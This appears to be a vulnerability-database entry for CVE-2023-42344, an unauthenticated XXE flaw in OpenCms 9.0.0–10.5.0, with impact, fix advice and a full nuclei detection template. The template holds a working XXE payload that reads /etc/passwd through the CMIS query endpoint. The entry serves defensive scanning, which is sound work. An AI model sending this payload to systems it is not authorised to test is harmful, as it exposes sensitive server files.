HexBrain

Browse / CVEs / CVE-2023-42344

CVE-2023-42344· alkacon / opencms

OpenCMS - XML external entity (XXE)

highseverity
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

users can execute code without authentication. An attacker can execute malicious requests on the OpenCms server. When the requests are successful vulnerable OpenCms can be exploited resulting in an unauthenticated XXE vulnerability. Based on research OpenCMS versions from 9.0.0 to 10.5.0 are vulnerable.

Impact

Unauthenticated attackers can exploit XXE vulnerabilities to execute malicious requests on the OpenCMS server, potentially reading sensitive server files and internal data.

Fix

Advised to upgrade to OpenCMS 10.5.1 or later to patch the vulnerability

How to confirm it

Send: POST {{BaseURL}}/opencms/cmisatom/cmis-online/query ; POST {{BaseURL}}/cmisatom/cmis-online/query
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2023-42344 -u <target>

The full check
id: CVE-2023-42344

info:
  name: OpenCMS - XML external entity (XXE)
  author: 0xr2r
  severity: high
  description: |
    users can execute code without authentication.  An attacker can execute malicious requests on the OpenCms server. When the requests are successful vulnerable OpenCms can be exploited resulting in an unauthenticated XXE vulnerability. Based on research OpenCMS versions from 9.0.0 to 10.5.0 are vulnerable.
  impact: |
    Unauthenticated attackers can exploit XXE vulnerabilities to execute malicious requests on the OpenCMS server, potentially reading sensitive server files and internal data.
  remediation: Advised to upgrade to OpenCMS 10.5.1 or later to patch the vulnerability
  reference:
    - https://blog.qualys.com/product-tech/2023/12/08/opencms-unauthenticated-xxe-vulnerability-cve-2023-42344
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alkacon
    product: opencms
    fofa-query: "OpenCms-9.5.3"
  tags: cve,cve2023,xxe,opencms,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/opencms/cmisatom/cmis-online/query"
      - "{{BaseURL}}/cmisatom/cmis-online/query"

    headers:
      Content-Type: "application/xml;charset=UTF-8"
      Referer: "{{RootURL}}"

    body: |
      <?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><cmis:query xmlns:cmis="<http://docs.oasis-open.org/ns/cmis/core/200908/>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "invalidArgument"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from